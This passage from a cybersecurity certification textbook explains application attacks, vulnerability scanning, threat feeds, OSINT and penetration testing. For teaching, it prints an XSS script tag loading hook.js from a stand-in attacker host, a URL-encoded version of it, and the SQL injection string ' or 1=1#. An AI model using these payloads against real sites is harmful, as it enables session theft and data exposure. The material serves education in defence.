a local user to gain privileged access, and the Microsoft Windows Elevation of
Privilege Vulnerability (CVE-2020-0796), which is a race condition vulnerability
associated with the Microsoft Server Message Block 3.1.1 (SMBv3) protocol allowing
an attacker to execute arbitrary code on a target SMB server or client. Race
conditions are often mitigated by developers through the use of locks, semaphores,
and monitors in multi-threaded applications.
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Memory Injection
Memory injection vulnerabilities refer to a type of security flaw where an attacker
can introduce (inject) malicious code into a running application’s process memory.
An attacker often designs the injected code to alter an application’s behavior to
provide unauthorized access or control over the system. Injection vulnerabilities
are significant because they often lead to severe security breaches. Attackers often
use memory injection vulnerabilities to inject code that installs malware, exfiltrates
sensitive data, or creates a backdoor for future access. Injected code generally
runs with the same level of privileges as the compromised application, which
can lead to a full system compromise if the exploited application has high-level
permissions. Common memory injection attacks include buffer overflow attacks,
format string vulnerabilities, and code injection attacks. These types of attacks are
typically mitigated with secure coding practices such as input and output validation,
encoding, type-casting, access controls, static and dynamic application testing, and
several other techniques.

Buffer Overflow
A buffer is an area of memory that the application reserves to store expected
data. To exploit a buffer overflow vulnerability, the attacker passes data that
deliberately overfills the buffer. One of the most common vulnerabilities is a stack
overflow. The stack is an area of memory used by a program subroutine. It includes
a return address, which is the location of the program that called the subroutine.
An attacker could use a buffer overflow to change the return address, allowing the
attacker to run arbitrary code on the system.
Buffer overflow attacks are mitigated on modern hardware and operating systems
via address space layout randomization (ASLR) and Data Execution Prevention
(DEP) controls, utilizing type-safe programming languages and incorporating
secure coding practices.

When executed normally, a function will return control to the calling function. If the code is
vulnerable, an attacker can pass malicious data to the function, overflow the stack, and run
arbitrary code to gain a shell on the target system.

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Malicious Update
A malicious update refers to an update that appears legitimate but contains
harmful code, often used by cybercriminals to distribute malware or execute a
cyberattack. The update may claim to fix software bugs or offer new features but is
instead designed to compromise a system. The significance of such attacks lies in
their deceptive nature; users trust and frequently accept software updates, making
malicious updates a highly effective infiltration strategy. Malicious updates can be
difficult to protect against, but secure software supply chain management, digital
signature verification, and other software security practices help mitigate these risks.
In 2017, the legitimate software CCleaner was compromised when an unauthorized
update was released containing a malicious payload. This affected millions of users
who downloaded the update, believing it was a standard upgrade to improve their
system’s performance. https://arstechnica.com/information-technology/2017/09/
backdoor-malware-planted-in-legitimate-software-updates-to-ccleaner/
Another notable case is the 2020 SolarWinds attack, where an update to the
SolarWinds Orion platform was used to distribute a malicious backdoor to
numerous government and corporate networks, leading to significant data
breaches. https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-
cyberattack-the-untold-story-of-the-solarwinds-hack

Evaluation Scope
Evaluation target or scope refers to the product, system, or service being analyzed
for potential security vulnerabilities. This could be a software application, a
network, a security service, or even an entire IT infrastructure. The target is the
focus of a specific evaluation process, where it is subjected to rigorous testing
and analysis to identify any possible weaknesses or vulnerabilities in its design,
implementation, or operation. For application vulnerabilities, the target would refer
to a specific software application. Security analysts assess application code, logic,
data handling, authentication mechanisms, and many other aspects relevant to its
security. Identified vulnerabilities often range from common ones, such as injection
flaws, broken authentication, and sensitive data exposure, to more obscure ones
related to the application's unique features or purpose. The primary goal of the
evaluation is to mitigate risk, improve the application's security posture, and ensure
compliance with relevant security standards or regulations.

TOE Practice Description

Security Testing Conducting vulnerability assessments and
penetration testing to identify potential
weaknesses, vulnerabilities, or misconfigurations.
Documentation Review Reviewing documentation, such as design
specifications, architecture diagrams, security
policies, and procedures, to ensure the system is
implemented according to secure design principles
and compliance requirements.
Source Code Analysis Analyzing source code to identify potential security
vulnerabilities or coding errors to uncover issues
related to input validation, secure coding practices,
and coding standards.
Configuration Assessment Evaluating configuration settings to ensure they
align with security best practices and industry
standards, such as assessing access controls,
encryption settings, authentication mechanisms,
and other security-related configurations.

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TOE Practice Description

Cryptographic Analysis Assessing cryptographic mechanisms, including
encryption algorithms, key management,
and secure key storage, to ensure the proper
implementation and use of cryptographic schemes
according to industry standards and guidelines.
Compliance Verification Verifying compliance with standards specified
by relevant regulations, frameworks, or security
certifications.
Security Architecture Evaluating security architecture and design to
Review identify potential weaknesses or gaps in security
controls, such as insufficient segregation of duties,
lack of audit trails, or inadequate access controls.

Penetration Tester vs. Attacker

From the perspective of a penetration tester or an attacker, the scope defines the
boundaries of their objectives.
For a penetration tester, the scope is the specific system, application, network, or
environment they are authorized to evaluate for exploitability. Understanding the
scope allows a penetration tester to plan their testing strategy, select appropriate
tools and techniques, and focus their efforts where they will be most effective.
Penetration testers aim to uncover as many vulnerabilities as possible within the
scope, report their findings, and recommend remediation strategies to improve the
system’s security posture.
For an attacker, the scope describes their intended target. The attacker aims to
identify and exploit vulnerabilities within the target to achieve their objectives,
which could range from unauthorized access and data theft to service disruption or
even system takeover. An attacker's understanding of the target can influence their
choice of attack vectors and the sophistication of their tactics.
In both cases, a thorough understanding of the target—its architecture,
components, interconnections, security controls, potential vulnerabilities, and
value of its data or services—helps to focus time and effort.

Web Application Attacks

Web application attacks specifically target applications accessible over the Internet,
exploiting vulnerabilities in these applications to gain unauthorized access, steal
sensitive data, disrupt services, or perform other malicious activities. The defining
characteristics of web application attacks often involve the exploitation of poor
input validation (leading to attacks like SQL injection or cross-site scripting),
misconfigured security settings, and outdated software with known vulnerabilities.
Web application attacks are similar to other types of application attacks in that they
involve exploiting vulnerabilities in software to achieve malicious ends. However,
they also have distinct differences. Unlike attacks on desktop applications or
embedded systems, web application attacks must navigate the client-server model,
often requiring the attacker to bypass network and application-level security
controls. Also, web application vulnerabilities can often be exploited remotely by
any attacker on the Internet, making them a popular target for cybercriminals.

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HTTP is stateless, meaning each request is independent, and the server does not
retain information about the client’s state. Web applications must manage sessions
and maintain state using mechanisms such as cookies or session IDs. Improper
session management, such as predictable session IDs, session fixation, or session
hijacking, are associated with many types of web application attacks, such as
cross-site request forgery (CSRF) and cross-site scripting (XSS). These attacks exploit
the web’s inherent trust in requests or scripts that appear to come from valid users
or trusted sites.

CSRF is discussed in more depth in Lesson 13.

Cross-Site Scripting (XSS)

Web applications depend on scripting, and most websites these days are web
applications rather than static webpages. If the user attempts to disable scripting,
very few sites will be left available. A cross-site scripting (XSS) attack exploits the
fact that the browser is likely to trust scripts that appear to come from a site the
user has chosen to visit. XSS inserts a malicious script that appears to be part of the
trusted site. A nonpersistent type of XSS attack would proceed as follows:
1. The attacker identifies an input validation vulnerability in the trusted site.

2. The attacker crafts a URL to perform a code injection against the trusted site.
This could be coded in a link from the attacker’s site to the trusted site or a
link in an email message.

3. When the user clicks the link, the trusted site returns a page containing
the malicious code injected by the attacker. As the browser is likely to be
configured to allow the site to run scripts, the malicious code will execute.

The malicious code could be used to deface the trusted site (by adding any
sort of arbitrary HTML code), steal data from the user’s cookies, try to intercept
information entered into a form, perform a request forgery attack, or try to install
malware. The crucial point is that the malicious code runs in the client’s browser
with the same permission level as the trusted site.
An attack where the malicious input comes from a crafted link is a reflected or
nonpersistent XSS attack. A stored/persistent XSS attack aims to insert code into a
back-end database or content management system used by the trusted site. For
example, the attacker may submit a post to a bulletin board with a malicious script
embedded in the message. When other users view the message, the malicious
script is executed. For example, with no input sanitization, a threat actor could type
the following into a new post text field:
Check out this amazing <a href="https://trusted.
foo">website</a><script src="https://badsite.foo/
hook.js"></script>.
Users viewing the post will have the malicious script hook.js execute in their
browser.

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A third type of XSS attack exploits vulnerabilities in client-side scripts. Such scripts
often use the Document Object Model (DOM) to modify the content and layout
of a web page. For example, the “document.write” method enables a page to take
some user input and modify the page accordingly. An exploit against a client-side
script could work as follows:
1. The attacker identifies an input validation vulnerability in the trusted site. For
example, a message board might take the user’s name from an input text box
and show it in a header.

https://trusted.foo/messages?user=james
2. The attacker crafts a URL to modify the parameters of a script that the server
2.

will return, such as the following:

https://trusted.foo/messages?
user=James%3Cscript%20src%3D%22https%3A%2F%
2Fbadsite.foo%2Fhook.js%22%3E%3C%2Fscript%3E
3. The server returns a page with the legitimate DOM script embedded, but
3.

containing the parameter:

James<script src="https://badsite.foo/hook.
js"></script>
4. The browser renders the page using the DOM script, adding the text “James”
4.

to the header, but also executing the hook.js script at the same time.

DOM-based cross-site scripting (XSS) occurs when a web application's client-side script
manipulates the Document Object Model (DOM) of a webpage. Unlike other forms of
XSS attacks that exploit server-side vulnerabilities, DOM-based XSS attacks target the
client-side environment, allowing an attacker to inject malicious script code executed
within the user's browser within the context of the targeted webpage.

SQL Injection (SQLi)

Where an overflow attack works against the way a process performs memory
management, an injection attack exploits some unsecure way in which the
application processes requests and queries. For example, an application might
allow a user to view their profile with a database query that should return the single
record for that one user’s profile. An application vulnerable to an injection attack
might allow a threat actor to return the records for all users, or to change fields in
the record when they are only supposed to be able to read them.
A web application is likely to use Structured Query Language (SQL) to read and
write information from a database. The main database operations are performed
by SQL statements for selecting data (SELECT), inserting data (INSERT), deleting
data (DELETE), and updating data (UPDATE). In a SQL injection attack, the threat
actor modifies one or more of these four basic functions by adding code to some
input accepted by the app, causing it to execute the attacker’s own set of SQL
queries or parameters. If successful, this could allow the attacker to extract or insert
information into the database or execute arbitrary code on the remote system
using the same privileges as the database application (owasp.org/www-community/
attacks/SQL_Injection).

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For example, consider a web form that is supposed to take a name as input. If the
user enters "Bob,” the application runs the following query:
SELECT * FROM tbl_user WHERE username = 'Bob'
If a threat actor enters the string ' or 1=1# and this input is not sanitized, the
following malicious query will be executed:
SELECT * FROM tbl_user WHERE username = '' or 1=1#
The logical statement 1=1 is always true, and the # character turns the rest of the
statement into a comment, making it more likely that the web application will parse
this modified version and dump a list of all users.

Cloud-Based Application Attacks

Cloud-based application attacks target applications hosted on cloud platforms and
exploit potential vulnerabilities within these applications or the cloud infrastructure
they run on to carry out malicious activities. Cloud-based application attacks
generally involve the exploitation of misconfigurations in the cloud environment,
weak authentication mechanisms, insufficient network segmentation, or poorly
implemented access controls.
Compared to traditional application attacks, cloud-based attacks have some unique
characteristics. In a cloud environment, the shared responsibility model can lead to
confusion about who is responsible for what, potentially leaving security gaps that
attackers can exploit.
The highly accessible and scalable nature of the cloud can make cloud-based
applications attractive targets for attackers. For example, an attacker may exploit
a vulnerability in a cloud-based application resulting in access to other resources
within the same cloud environment, providing access to infrastructure in ways
typically impossible with traditional application attacks.
Some attack types are specific to the cloud, such as side-channel attacks, where
an attacker with an instance running on the same physical server as the victim
attempts to extract information from the victim’s instance via shared resources.
Attackers can exploit misconfigurations and weak security controls in cloud
environments to gain unauthorized access to sensitive data in improperly secured
cloud storage buckets.
Cloud services can also be used for cryptojacking, where an attacker uses the
cloud’s processing power to mine cryptocurrency without the user’s consent,
leading to (vastly) increased costs for the cloud user and degraded performance of
their provisioned resources.

The shared responsibility model is covered in Topic 6A and is a critical concept in

cloud security.

Cloud As an Attack Platform

Attackers can also use cloud platforms for phishing and malware distribution. They
can easily set up fraudulent websites that mimic legitimate ones on cloud services
and use these sites to trick users into revealing sensitive information. In addition,
they can exploit cloud storage services to host malicious files and then distribute
these files via phishing emails or other means.

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Cloud Access Security Brokers

A cloud access security broker (CASB) is enterprise management software
designed to mediate access to cloud services by users across all types of devices.
CASB vendors include Blue Coat, now owned by Symantec (broadcom.com/
products/cyber-security/information-protection/cloud-application-security-cloudsoc),
Skyhigh Security (skyhighsecurity.com), Forcepoint (forcepoint.com/product/casb-
cloud-access-security-broker), Microsoft Cloud App Security (microsoft.com/en-us/
microsoft-365/enterprise-mobility-security/cloud-app-security), and Cisco Cloudlock
(cisco.com/c/en/us/products/security/cloudlock/index.html).
CASBs provide you with visibility into how clients and other network nodes are
using cloud services. Some of the functions of a CASB are the following:
• Enable single sign-on authentication and enforce access controls and
authorizations from the enterprise network to the cloud provider.

• Scan for malware and rogue or noncompliant device access.

• Monitor and audit user and resource activity.

• Mitigate data exfiltration by preventing access to unauthorized cloud services

from managed devices.

In general, CASBs are implemented in one of three ways:

• Forward proxy—this is a security appliance or host positioned at the client
network edge that forwards user traffic to the cloud network if the contents of
that traffic comply with policy. This requires configuration of users’ devices or
installation of an agent. In this mode, the proxy can inspect all traffic in real time,
even if that traffic is not bound for sanctioned cloud applications. The problem
with this mode is that users may be able to evade the proxy and connect directly.
Proxies are also associated with poor performance as without a load balancing
solution, they become a bottleneck and potentially a single point of failure.

• Reverse proxy—this is positioned at the cloud network edge and directs traffic
to cloud services if the contents of that traffic comply with policy. This does not
require configuration of the users’ devices. This approach is only possible if the
cloud application has proxy support.

• Application programming interface (API)—rather than placing a CASB

appliance or host inline with cloud consumers and the cloud services, an API-
based CASB brokers connections between the cloud service and the cloud
consumer. For example, if a user account has been disabled or an authorization
has been revoked on the local network, the CASB would communicate this to the
cloud service and use its API to disable access there too. This depends on the API
supporting the range of functions that the CASB and access and authorization
policies demand. CASB solutions are quite likely to use both proxy and API
modes for different security management purposes.

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Supply Chain
Software supply chain vulnerabilities refer to the potential risks and weaknesses
introduced into software products during their development, distribution, and
maintenance lifecycle. This supply chain describes many stages, from initial
coding to end-user deployment, and includes various service providers, hardware
providers, and software providers.

Service Providers
Service providers, such as cloud services or third-party development agencies,
play a role in the software supply chain by offering development, testing, and
deployment platforms or directly contributing to the software’s codebase.
Vulnerabilities can be introduced if these services have inadequate security
measures or if the communication between these services and the rest of the
supply chain is not secured correctly.

Hardware Suppliers
Hardware suppliers play a crucial role in the software supply chain and can be
potential sources of vulnerabilities. The hardware on which software runs or
interacts with forms the base of the technology stack. If this hardware layer is
compromised, it can lead to severe security issues. This is particularly true for
firmware or low-level software drivers interacting closely with the hardware. If
a hardware supplier fails to apply robust security practices in their design and
manufacturing processes, vulnerabilities can be introduced that compromise the
entire system.
For example, a hardware component could come with preinstalled firmware that
contains a known vulnerability, or it might be susceptible to physical tampering
that leads to a breach in security. Similarly, hardware devices often require
specific drivers to function correctly. If these drivers are not updated regularly or
are sourced from unreliable providers, they can introduce vulnerabilities into the
software stack.
Furthermore, hardware suppliers often provide the entire software stack running
on the device for IoT and embedded systems, making them a significant factor in
a system’s overall security. Therefore, it’s crucial for software supply chain security
to ensure that hardware suppliers adhere to stringent security standards and that
hardware components and associated low-level software are regularly updated and
patched to address any potential vulnerabilities.

Software Providers
Software providers, including makers of libraries, frameworks, and other third-party
components used in the software, are a common source of vulnerabilities. If third-
party components have vulnerabilities or are outdated, they can expose the entire
application to potential attacks. In all these relationships, trust is implicitly placed in
each provider to maintain high security. If any link in this chain fails to meet these
expectations, it can lead to software supply chain vulnerabilities.

Software Bill of Materials

A software bill of materials (SBOM) is a comprehensive inventory of all components
in a software product. This includes the primary application code and all
dependencies, such as libraries, frameworks, and other third-party components.
The SBOM includes details like component names, versions, and information about
the suppliers.

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An SBOM aims to provide transparency and visibility into the software supply chain,
which can significantly help mitigate software supply chain issues. By detailing all
components used in a software product, an SBOM enables developers, security
teams, and end users to understand the functional components of their software.
This visibility aids in identifying potential vulnerabilities in third-party components,
allowing them to be patched or replaced before issues materialize. It also helps
track software components’ origin, ensuring they come from trusted sources.
After a vulnerability disclosure or a security incident, an SBOM supports rapid
response and remediation. Security teams can quickly determine whether their
software is affected by a disclosed vulnerability in a particular component and take
appropriate action.
An SBOM is a critical tool for managing and securing the software supply chain
because it contributes to a more proactive and informed approach to identifying
and managing potential software supply chain issues.

Dependency Analysis and SBOM Tools

The OWASP Dependency-Check is a Software Composition Analysis (SCA) tool
that identifies project dependencies and checks if there are any known, publicly
disclosed vulnerabilities associated with them. This tool is very useful for creating a
software bill of materials (SBOM), although it’s not its primary function.
Dependency-Check can generate a report detailing all the libraries and components
used in a software project and their respective versions. This type of report serves
as a baseline for creating an SBOM, as it lists all the components that the software
depends upon. Furthermore, the report also includes known vulnerabilities
associated with these components, which is a valuable addition to an SBOM from a
security perspective.
Dependency-Check is designed primarily to assist in detecting outdated or
vulnerable components and does not provide all of the information typically
included in an SBOM, such as licensing information or a complete list of all
sub-components.
For a more comprehensive SBOM that includes additional information, other tools
like OWASP Dependency-Track use the output from Dependency-Check or other
dedicated SBOM tools that follow SPDX or OWASP CycloneDX standards. SPDX
(Software Package Data Exchange) is an open standard for communicating software
bill of material information, including component identification, licensing, and
security references. CycloneDX is a lightweight specification designed to provide a
more streamlined way to share and analyze SBOM data.

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Review Activity:
Application and Cloud Vulnerabilities
5

Answer the following questions:

1. Your log shows that the Notepad process on a workstation running as

the local administrator account has started an unknown process on an
application server running as the SYSTEM account. What type of attack(s)
are represented in this intrusion event?

2. How do malicious updates introduce malware?

2.

3. What type of attack is focused on exploiting the database access

3.

provided to a web application?

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Topic 8C
Vulnerability Identification Methods
4

EXAM OBJECTIVES COVERED

4.3 Explain various activities associated with vulnerability management.

Vulnerability scanning is a fundamental task within a vulnerability management

program and utilizes automated scanning processes to identify and evaluate
potential issues. Vulnerability scans focus on networks, operating systems,
applications, and other functional areas to detect known vulnerabilities, including
insecure configurations, outdated software versions, or missing security patches.
Regular scanning is required to maintain an accurate picture of an organization’s
security posture and to identify new vulnerabilities.
Threat feeds play a vital role in enhancing the effectiveness of vulnerability
management by providing real-time information about emerging threats and
newly discovered vulnerabilities. Threat feeds aggregate data from various sources,
including cybersecurity researchers, vendors, and global security communities,
and are integrated into vulnerability scanning tools to improve their detection
capabilities. By leveraging threat feeds, organizations can stay ahead of the threat
landscape, enabling them to prioritize and address the most critical vulnerabilities
before attackers can exploit them.

Vulnerability Scanning
Vulnerability management is a cornerstone of modern cybersecurity practices
aimed at identifying, classifying, remediating, and mitigating vulnerabilities within a
system or network. One crucial aspect of vulnerability management is vulnerability
scanning, a systematic process of probing a system or network using specialized
software tools to detect security weaknesses. Vulnerability scans are performed
internally and externally to inventory vulnerabilities from different network
viewpoints. Vulnerabilities identified during scanning are then classified and
prioritized for remediation by security operations teams.
Vulnerability scanning also supports application security, as it helps to locate and
identify misconfigurations and missing patches in software. Advanced vulnerability
scanning techniques focused on application security include specialized application
scanners, pen-testing frameworks, and static and dynamic code testing.
Vulnerability scanning tools like openVAS and Nessus are popular tools offering
a broad range of features designed to analyze network equipment, operating
systems, databases, patch compliance, configuration, and many other systems.
While these tools are very effective, application security analysis warrants much
more specialized approaches. Several specialized tools exist to more deeply analyze
how applications are designed to operate and can locate vulnerabilities not typically
identified using generalized scanning approaches.

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Network Vulnerability Scanner

A network vulnerability scanner, such as Tenable Nessus (tenable.com/
products/nessus) or OpenVAS (openvas.org), is designed to test network hosts,
including client PCs, mobile devices, servers, routers, and switches. It examines an
organization’s on-premises systems, applications, and devices and compares the
scan results to configuration templates and lists of known vulnerabilities. Typical
results from a vulnerability assessment will identify missing patches, deviations
from baseline configuration templates, and other related vulnerabilities.

Greenbone OpenVAS vulnerability scanner with Security Assistant web application interface
as installed on Kali Linux. (Screenshot used with permission from Greenbone Networks,
http://www.openvas.org.)

Scanners depend upon a database of known software and configuration

vulnerabilities. The tool compiles a report about each vulnerability in its database
that was found to be present on each host. Each identified vulnerability is
categorized and assigned an impact warning. Most tools also suggest remediation
techniques. This information is highly sensitive, so use of these tools and the
distribution of the reports produced should be restricted to authorized hosts and
user accounts.
Network vulnerability scanners are configured with information about known
vulnerabilities and configuration weaknesses for typical network hosts. These
scanners will be able to test common operating systems, desktop applications,
and some server applications. This is useful for general purpose scanning, but
some types of applications might need more rigorous analysis.

Credentialed and Non-Credentialed Scans

A non-credentialed scan is one that proceeds by directing test packets at a host
without being able to log on to the OS or application. The view obtained is the one
that the host exposes to an unprivileged user on the network. The test routines may
be able to include things such as using default passwords for service accounts and

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device management interfaces, but they are not given privileged access. While you
may discover more weaknesses with a credentialed scan, you sometimes will want
to narrow your focus to think like an attacker who doesn’t have specific high-level
permissions or total administrative access. Non-credentialed scanning is often the
most appropriate technique for external assessment of the network perimeter or
when performing web application scanning.
A credentialed scan is given a user account with login rights to various hosts, plus
whatever other permissions are appropriate for the testing routines. This sort of
test allows much more in-depth analysis, especially in detecting when applications
or security settings may be misconfigured. It also shows what an insider attack, or
one where the attacker has compromised a user account, may be able to achieve. A
credentialed scan is a more intrusive type of scan than non-credentialed scanning.

Configuring credentials for use in target (scope) definitions in Greenbone OpenVAS as installed on
Kali Linux. (Screenshot used with permission from Greenbone Networks, http://www.openvas.org.)

Application and Web Application Scanners

Similarly, application vulnerability scanning describes a specialized vulnerability
scanning method for identifying software application weaknesses. This includes
static analysis (reviewing application code without executing it) and dynamic
analysis (testing running applications), which can identify issues like unvalidated
inputs, broken access controls, and SQL injection vulnerabilities. Application
vulnerability scanning is typically handled separately from general vulnerability
scanning due to the unique nature of software applications and the specific types
of vulnerabilities they introduce. General vulnerability scanning is designed to
detect system-wide or network-wide weaknesses, such as out-of-date software or
misconfigured firewalls.
In contrast, application vulnerability scanning evaluates the coding and behavior
of individual software applications. It looks for issues like cross-site scripting (XSS),
SQL injection, and insecure direct object references unique to software applications.
These application-specific vulnerabilities require specialized tools and techniques
to identify and mitigate and are generally different from the scanning tools used in
general vulnerability scanning. Applications frequently have their own release and
update cycles, separate from the rest of the environment, necessitating a more
targeted vulnerability management process.

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Package Monitoring
Another important capability in application vulnerability assessment practices
includes package monitoring. Package monitoring is associated with vulnerability
identification because it tracks and assesses the security of third-party software
packages, libraries, and dependencies used within an organization to ensure that
they are up to date and free from known vulnerabilities that malicious actors could
exploit. Package monitoring is associated with the management of software bill of
materials (SBOM) and software supply chain risk management practices.
In an enterprise setting, package monitoring is typically achieved through
automated tools and governance policies. Automated software composition
analysis (SCA) tools track and monitor the software packages, libraries, and
dependencies used in an organization’s codebase. These tools can automatically
identify outdated packages or those with known vulnerabilities and suggest updates
or replacements. They work by continuously comparing the organization’s software
inventory against various databases of known vulnerabilities, such as the National
Vulnerability Database (NVD) or vendor-specific advisories.
In addition to these tools, organizations often implement governance policies
around software usage. These policies may require regular audits of software
packages, approval processes for adding new packages or libraries, and procedures
for updating or patching software when vulnerabilities are identified.

Threat Feeds
Another important element of vulnerability management is the use of threat feeds.
These are real-time, continuously updated sources of information about potential
threats and vulnerabilities, often gathered from multiple sources. By integrating
threat feeds into their vulnerability management practices, organizations can stay
aware of the latest risks and respond more swiftly.
Threat feeds are pivotal in vulnerability scanning by providing real-time, continuous
data about the latest vulnerabilities, exploits, and threat actors. These feeds serve
as a valuable resource for enhancing the organization’s threat intelligence and
enabling quicker identification and remediation of potential vulnerabilities. They
integrate data from various sources, including security vendors, cybersecurity
organizations, and open-source intelligence, to comprehensively view the threat
landscape.
Common threat feed platforms include AlienVault’s Open Threat Exchange
(OTX), IBM’s X-Force Exchange, and Recorded Future. These platforms gather,
analyze, and distribute information about new and emerging threats, providing
actionable intelligence that can be incorporated into an organization’s vulnerability
management practices and sometimes directly into security infrastructure tools to
provide up-to-the-minute protections.
Threat feeds significantly improve vulnerability identification by providing timely
information and context about new threats that traditional vulnerability scanning
does not provide. Threat feeds provide information that helps organizations
focus their remediation efforts on the most relevant and potentially damaging
vulnerabilities first. This proactive approach can significantly reduce the time
between discovering a vulnerability and its remediation, thus minimizing the
organization’s exposure to potential attacks.

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Third-Party Threat Feeds

Open-source and proprietary threat feeds provide valuable real-time information
on the latest cyber threats and vulnerabilities. Both feed types aggregate data from
various sources and can be integrated into an organization’s security infrastructure,
contributing to a proactive cybersecurity strategy.
The choice between open-source and proprietary threat feeds often comes down to
a few important attributes. Open-source feeds, such as those provided by the Cyber
Threat Alliance or the MISP threat-sharing platform, are typically free and accessible
to all, making them a cost-effective solution for smaller organizations or those with
limited budgets. However, they may lack the depth, breadth, or sophistication of
analysis found in proprietary feeds.
Proprietary threat feeds often provide more comprehensive information and
advanced analytic insights. However, these feeds come at a cost, and the return
on investment will depend on an organization’s specific needs, risk profile, and
resources. Some organizations may use a combination of both open-source and
proprietary feeds to achieve a balance of cost and coverage.

IBM X-Force Exchange threat intelligence portal. (Image copyright 2019 IBM Security
exchange.xforce.ibmcloud.com.)

The outputs from the primary research undertaken by threat data feed providers
and academics can take three main forms:
• Behavioral Threat Research—narrative commentary describing examples of
attacks and TTPs gathered through primary research sources.

• Reputational threat intelligence—lists of IP addresses and domains associated

with malicious behavior, plus signatures of known file-based malware.

• Threat Data—computer data that can correlate events observed on a

customer’s own networks and logs with known TTP and threat actor indicators.

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Threat data can be packaged as feeds that integrate with a security information
and event management (SIEM) platform. These feeds are usually described as
cyber threat intelligence (CTI) data. The data on its own is not a complete security
solution. To produce actionable intelligence, the threat data must be correlated with
observed data from customer networks. This type of analysis is often powered by
artificial intelligence (AI) features of the SIEM.
Threat intelligence platforms and feeds are supplied as one of three different
commercial models:
• Closed/proprietary—the threat research and CTI data is made available as
a paid subscription to a commercial threat intelligence platform. The security
solution provider will also make the most valuable research available early to
platform subscribers in the form of blogs, white papers, and webinars. Some
examples of such platforms include the following:

• IBM X-Force Exchange (exchange.xforce.ibmcloud.com)

• Mandiant’s FireEye (mandiant.com/advantage/threat-intelligence)

• Recorded Future (recordedfuture.com/platform/threat-intelligence)

Information-Sharing Organizations
Threat feed information-sharing organizations are collaborative groups that
exchange data about emerging cybersecurity threats and vulnerabilities. These
organizations collect, analyze, and disseminate threat intelligence from various
sources, including their members, security researchers, and public sources.
Members of these organizations, often composed of businesses, government
entities, and academic institutions, can benefit from the shared intelligence by
gaining insights into the latest threats they might not have access to individually.
They can use this information to fortify their systems and respond swiftly to
emerging threats. Examples of such organizations include the Cyber Threat Alliance
and the Information Sharing and Analysis Centers (ISACs) which span various
industries. These organizations are crucial in enhancing collective cybersecurity
resilience and promoting a collaborative approach to tackling cyber threats.

Open-Source Intelligence
Open-source intelligence (OSINT) describes collecting and analyzing publicly
available information and using it to support decision-making. In cybersecurity
operations, OSINT is used to identify vulnerabilities and threat information by
gathering data from many sources such as blogs, forums, social media platforms,
and even the dark web. This can include information about new types of malware,
attack strategies used by cybercriminals, and recently discovered software
vulnerabilities. Security researchers can use OSINT tools to automatically collect and
analyze this information, identifying potential threats or vulnerabilities that could
impact their organization.
Some common OSINT tools include Shodan for investigating Internet-connected
devices, Maltego for visualizing complex networks of information, Recon-ng for
web-based reconnaissance activities, and theHarvester for gathering emails,
subdomains, hosts, and employee names from different public sources.

The OSINT Framework is a useful resource designed to help locate and organize tools
used to perform open-source intelligence. https://github.com/lockfale/osint-framework

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OSINT can provide valuable context to aid in assessing risk levels associated with
a specific vulnerability. For example, newly discovered vulnerabilities that are
being actively exploited in the wild or discussed in hacking forums will need to be
prioritized for remediation. In this way, OSINT helps identify vulnerabilities and
plays a critical role in vulnerability management and threat assessment.

Deep and Dark Web

Threat research is a counterintelligence gathering effort in which security companies
and researchers attempt to discover the tactics, techniques, and procedures
(TTPs) of modern cyber adversaries. There are many companies and academic
institutions engaged in primary cybersecurity research. Security solution providers
with firewall and antimalware platforms derive a lot of data from their own
customers’ networks. As they assist customers with cybersecurity operations, they
are able to analyze and publicize TTPs and their indicators. These organizations also
operate honeynets to try to observe how hackers interact with vulnerable systems.
The deep web and dark web are also sources of threat intelligence. The deep web
is any part of the World Wide Web that is not indexed by a search engine. This
includes pages that require registration, pages that block search indexing, unlinked
pages, pages using nonstandard DNS, and content encoded in a nonstandard
manner. Within the deep web are areas that are deliberately concealed from
“regular” browser access.
• Dark Net—a network established as an overlay to Internet infrastructure
by software, such as The Onion Router (TOR), Freenet, or I2P, that acts to
anonymize usage and prevent a third party from knowing about the existence
of the network or analyzing any activity taking place over the network. Onion
routing, for instance, uses multiple layers of encryption and relays between
nodes to achieve this anonymity.

• Dark Web—sites, content, and services accessible only over a dark net. While
there are dark web search engines, many sites are hidden from them. Access to a
dark web site via its URL is often only available via “word of mouth” bulletin boards.

Using the TOR browser to view the AlphaBay market, now closed by law enforcement.
(Screenshot used with permission from Security Onion.)

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Investigating these dark web sites and message boards is a valuable source of
counterintelligence. The anonymity of dark web services has made it easy for
investigators to infiltrate the forums and web stores that have been set up to
exchange stolen data and hacking tools. As adversaries react to this, they are
setting up new networks and ways of identifying law enforcement infiltration.
Consequently, dark nets and the dark web represent a continually shifting
landscape.

Please note that participating in illegal activities on the dark web is strictly prohibited.
To stay safe, it is important to exercise caution and follow legal and ethical guidelines
when exploring the dark web.

The dark web is generally associated with illicit activities and illegal content, but it
also has legitimate purposes.
Privacy and Anonymity—The dark web provides a platform for enhanced privacy
and anonymity. It allows users to communicate and browse the Internet without
revealing their identity or location, which can be valuable for whistleblowers,
journalists, activists, or individuals living under repressive government regimes.
Access to Censored Information—In countries with strict Internet censorship, the
dark web can be an avenue for accessing information that is otherwise blocked or
restricted. It enables individuals to bypass censorship and access politically sensitive
or controversial content.
Research and Information Sharing—Some academic researchers or cybersecurity
professionals may explore the dark web to gain insights into criminal activities and
analyze emerging threats to improve cybersecurity operations.

Other Vulnerability Assessment Methods

Penetration Testing
Penetration testing, or pen testing, is a more aggressive approach to vulnerability
management. Ethical hackers attempt to breach an organization’s security in this
practice, exploiting vulnerabilities to demonstrate their potential impact. While
automated vulnerability scans and threat feeds are essential components of a
robust security program, they may sometimes fail to identify specific vulnerabilities
that a penetration test can uncover.
Penetration testing involves human ingenuity and creativity, which allows for
discovering complex vulnerabilities that automated tools often miss. For example,
vulnerabilities introduced by the application’s design and implementation and
not coding errors can often go unnoticed by automated scanners. Penetration
testers can manipulate an application’s functionality to perform actions in ways not
intended by its developers, leading to exploitation. Certain types of authentication
bypass vulnerabilities or chained vulnerabilities (where multiple minor issues can
be combined to create a significant security flaw) are often beyond the detection
capabilities of automated scanning tools.
Penetration tests also excel at identifying vulnerabilities associated with improper
configurations or weak security policies. While automated scanning methods
provide critical vulnerability data, penetration testing provides a deeper and more
comprehensive analysis of an organization’s security posture.
• Unknown environment (previously known as black box) testing —is when
the consultant/attacker has no privileged information about the network and its
security systems. This type of test requires the consultant/attacker to perform
